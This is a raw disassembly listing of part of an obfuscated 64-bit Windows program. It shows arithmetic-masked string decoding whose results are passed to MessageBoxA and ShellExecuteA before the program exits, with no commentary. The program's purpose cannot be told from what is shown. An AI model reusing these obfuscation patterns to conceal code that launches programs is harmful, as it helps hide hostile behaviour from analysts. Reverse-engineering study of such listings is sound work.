add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x48
movzx r11d, r10b
jmp 0x140090599
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x80
add rbx, rax
jmp 0x1400905d7
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r9b
mov edx, 0x24
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x1400905d7
lea r8d, [r10 - 0x70]
movzx ecx, r8b
and cl, r9b
mov edx, 8
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx r11d, r10b
jmp 0x14009043b
lea edx, [r10 - 0x68]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x28
jmp 0x140090464
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x60
movzx ecx, byte [rbp + r10 - 0x10]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14008fc45
lea r8d, [r10 - 0x4c]
movzx ecx, r8b
and cl, r9b
mov edx, 0xa
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
mov byte [rbp + r10 - 0x10], dil
inc r10
jmp 0x14008fc45
lea edx, [r10 - 0x44]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x24
cmp rax, 0x10
jb 0x14009006c
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx ecx, dl
and cl, r9b
mov r8d, reloc.WS2_32.dll_sendto
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r9b
lea edi, [r8 + r8]
jmp 0x14009052c
lea edx, [r10 - 0x3c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x5c
cmp rbx, 0x400
jae 0x1400903f7
lea rcx, [rax + 0x42]
cmp rbx, rcx
jbe 0x14009037b
lea edx, [r10 - 0x48]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 8
jmp 0x14009008f
lea r8d, [r10 - 0x34]
movzx ecx, r8b
and cl, r9b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
lea rcx, [rax + rbx]
cmp rcx, 3
je 0x14009041c
lea rcx, [rax + 0x41]
cmp rbx, rcx
jbe 0x1400902fa
lea edx, [r10 + 0xc]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x54
jmp 0x1400900d4
lea edx, [r10 + 0x10]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x70
jmp 0x140090464
movzx r11d, r10b
lea r8d, [r11 + 0x18]
movzx ecx, r8b
and cl, r9b
mov edx, Ordinal_45
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14009043b
lea r8d, [r10 + 0x20]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x1400905d7
lea edx, [r10 + 0x28]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x18
add rbx, rax
jmp 0x1400905d7
lea r8d, [r10 + 0x38]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x14008fc45
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
inc rax
dec r10
inc r10
jmp 0x14008fc45
movzx r11d, r10b
lea r8d, [r11 + 0x48]
mov edx, 4
jmp 0x14009051a
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
jae 0x140090253
lea r8d, [r10 - 4]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_ntohl
jmp 0x140090116
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140090286
lea edx, [r10 + 0x58]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x68
movzx ecx, byte [rbp + r10 - 0x10]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14008fc45
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x1400902b3
movzx r11d, r10b
lea r8d, [r11 + 0x48]
movzx ecx, r8b
and cl, r9b
mov edx, 4
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14009043b
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x1400902db
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x50
jmp 0x140090599
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x140090121
movzx r11d, r10b
lea r8d, [r11 + 0x18]
mov edx, Ordinal_45
jmp 0x14009051a
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140090322
movzx r11d, r10b
lea edx, [r11 + 4]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x1c
jmp 0x14009052c
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14009034a
movzx r11d, r10b
lea edx, [r11 - 0x14]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x74
jmp 0x140090599
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x1400900d4
movzx r11d, r10b
lea r8d, [r11 - 0x2c]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14009043b
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400903b3
lea r8d, [r10 - 0x50]
movzx ecx, r8b
and cl, r9b
mov edx, Ordinal_27
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 - 0x10]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14008fc45
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x1400903d8
movzx r11d, r10b
lea edx, [r11 - 0x60]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x60
jmp 0x14009043b
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x14009008f
movzx r11d, r10b
lea r8d, [r11 - 0x78]
mov edx, 0x24
jmp 0x140090587
movzx r11d, r10b
lea r8d, [r11 + 0x60]
movzx ecx, r8b
and cl, r9b
movzx edx, byte [rbp + r10 - 0x10]
sub dl, cl
add dl, 0x30
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x140090599
movzx r11d, r10b
lea edx, [r11 + 0x58]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
sub dl, byte [rbp + r10 - 0x10]
lea edi, [r9 + rdx]
sub dil, 0x68
add r11b, 0x54
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
sub r11b, 0x4c
add r11b, r9b
movzx ecx, r11b
mov byte [rbp + r10 - 0x10], cl
inc rax
add rcx, rax
sub r10, rcx
lea edx, [r10 + 0x50]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
sub dl, 0x30
add dl, r9b
mov byte [rbp + r10 - 0x10], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r10, rcx
movzx ecx, byte [rbp + r10 - 0x10]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14008fc45
lea edx, [r10 + 0x7c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x64
jmp 0x1400905d7
lea r8d, [r10 - 0x7c]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
add rbx, rax
jmp 0x1400905d7
movzx r11d, r10b
lea r8d, [r11 - 0x74]
mov edx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140090587
movzx r11d, r10b
lea edx, [r11 - 0x5c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x7c
jmp 0x14009052c
movzx r11d, r10b
lea r8d, [r11 - 0x4c]
mov edx, 0xa
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
add r11b, 0x64
movzx ecx, r11b
and cl, r9b
mov edx, Ordinal_35
sub dl, cl
add dl, dl
add dl, r11b
add dl, r9b
mov byte [rbp + r10 - 0x10], dl
inc rax
dec r10
inc r10
jmp 0x14008fc45
lea edx, [r10 - 0x3c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x5c
dec r10
inc r10
jmp 0x14008fc45
movzx r11d, r10b
lea r8d, [r11 - 0x34]
mov edx, gethostname
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
add r11b, 0x5c
movzx ecx, r11b
and cl, r9b
mov edx, 0x3e
sub dl, cl
add dl, dl
add dl, dil
add dl, r11b
add dl, r9b
mov byte [rbp + r10 - 0x10], dl
add rbx, rax
jmp 0x1400905d7
lea rdx, [r10 + r15]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea edi, [rdx + r11]
sub dil, 4
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x14008fc45
lea r8, [r10 + r12]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
lea edi, [rdx + rdx]
add dil, r11b
add dil, r8b
movzx ecx, byte [rbp + r10 - 0x10]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14008fc45
sub r10b, 0x14
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
lea edi, [r9 + r10]
sub dil, 0x74
jmp 0x14008fc42
sub r10b, 0xc
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14008fc32
lea rdx, [rbp + 0x1476140]
jmp 0x140090672
lea rdx, [rbp + 0x1176c3c]
jmp 0x140090672
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x6f0]
call fcn.140079b10
lea rdx, [rbp + 0x838]
mov rcx, rax
call fcn.140079d50
lea rdx, [0x14025335e]
lea rcx, [rbp + 0x838]
call fcn.140069d20
test al, al
je 0x140090814
movdqa xmm0, xmmword [0x140227710]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x140227740]
movdqu xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x140227620]
movdqu xmmword [rbp + 0x390], xmm0
movdqa xmm1, xmmword [0x140227670]
movdqu xmmword [rbp + 0x3a0], xmm1
movdqa xmm0, xmmword [0x140227630]
movdqu xmmword [rbp + 0x3b0], xmm0
movdqa xmm1, xmmword [0x140227640]
movdqu xmmword [rbp + 0x3c0], xmm1
movdqa xmm0, xmmword [0x140227690]
movdqu xmmword [rbp + 0x3d0], xmm0
movdqa xmm1, xmmword [str._9__xu3__1___7_h__r__dmxdb__ujf_jhb_fdxek_HD]
movdqu xmmword [rbp + 0x3e0], xmm1
movdqa xmm0, xmmword [0x1402275e0]
movdqu xmmword [rbp + 0x3f0], xmm0
movdqa xmm1, xmmword [0x1402275f0]
movdqu xmmword [rbp + 0x400], xmm1
movdqa xmm0, xmmword [0x140227830]
movdqu xmmword [rbp + 0x410], xmm0
movdqa xmm1, xmmword [0x140227820]
movdqu xmmword [rbp + 0x420], xmm1
movdqa xmm0, xmmword [0x140227790]
movdqu xmmword [rbp + 0x430], xmm0
movdqa xmm1, xmmword [0x1402277a0]
movdqu xmmword [rbp + 0x440], xmm1
movdqa xmm0, xmmword [0x140227780]
movdqu xmmword [rbp + 0x450], xmm0
movdqa xmm1, xmmword [0x140227770]
movdqu xmmword [rbp + 0x460], xmm1
movdqa xmm0, xmmword [0x1402276f0]
movdqu xmmword [rbp + 0x470], xmm0
movdqa xmm1, xmmword [0x140227760]
movdqu xmmword [rbp + 0x480], xmm1
movdqa xmm0, xmmword [0x140227660]
movdqu xmmword [rbp + 0x490], xmm0
mov dword [rbp + 0x4a0], 0x6a7e6573
mov word [rbp + 0x4a4], Ordinal_60
mov byte [rbp + 0x4a6], 1
lea rcx, [rbp + 0x370]
call fcn.1400828c0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14009085a
lea rcx, [rbp + 0x838]
call fcn.140049850
mov rbx, rax
mov dword [rsp + 0x48], 0x8d87918f
mov word [rsp + 0x4c], 0x100
lea rcx, [rsp + 0x48]
call fcn.140082870
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140183660
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0x750], r13
mov rax, qword [rbp + 0x860]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x860], rax
mov rax, qword [rbp + 0x860]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x85c], edx
lea rcx, [rbp + 0x878]
call fcn.140066960
lea rcx, [rbp + 0x880]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x8f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x7c8]
call fcn.140049860
nop
movzx edx, byte [rbp + 0x6f0]
lea rcx, [rbp + 0x6f8]
call fcn.140087a60
nop
mov r8, qword [rbp + 0x738]
cmp r8, 0xf
jbe 0x140090914
mov rdx, qword [rbp + 0x720]
lea rcx, [rbp + 0x720]
call fcn.140049c40
mov qword [rbp + 0x730], r13
mov qword [rbp + 0x738], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x720], 0
mov rdx, qword [rbp + 0x7c0]
cmp rdx, 0xf
jbe 0x140090971
inc rdx
mov rcx, qword [rbp + 0x7a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009096c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009096c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140183660
movdqu xmmword [rbp + 0x7b8], xmm6
mov byte [rbp + 0x7a8], 0
mov rdx, qword [rbp + 0x790]
cmp rdx, 0xf
jbe 0x1400909c4
inc rdx
mov rcx, qword [rbp + 0x778]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400909bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400909bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140183660
mov qword [rbp + 0x788], r13
mov qword [rbp + 0x790], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x778], 0
mov rdx, qword [rbp + 0x718]
cmp rdx, 0xf
jbe 0x140090a21
inc rdx
mov rcx, qword [rbp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090a1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140090a1c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140183660
mov qword [rbp + 0x710], r13
mov qword [rbp + 0x718], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x700], 0
lea rcx, [rbp + 0x758]
call fcn.140049860
mov rcx, qword [rbp + 0xa70]
xor rcx, rsp
call fcn.140183af0
lea r11, [rsp + 0xb90]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x1402277e0]
movdqu xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [0x140227800]
movdqu xmmword [rbp + 0x180], xmm1
movdqa xmm0, xmmword [0x140227650]
movdqu xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [0x1402276e0]
movdqu xmmword [rbp + 0x1a0], xmm1
mov dword [rbp + 0x1b0], 0x400c4f49
mov dword [rbp + 0x1b4], 0x1005554
lea rcx, [rbp + 0x170]
call fcn.140082940
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140049780
nop
int3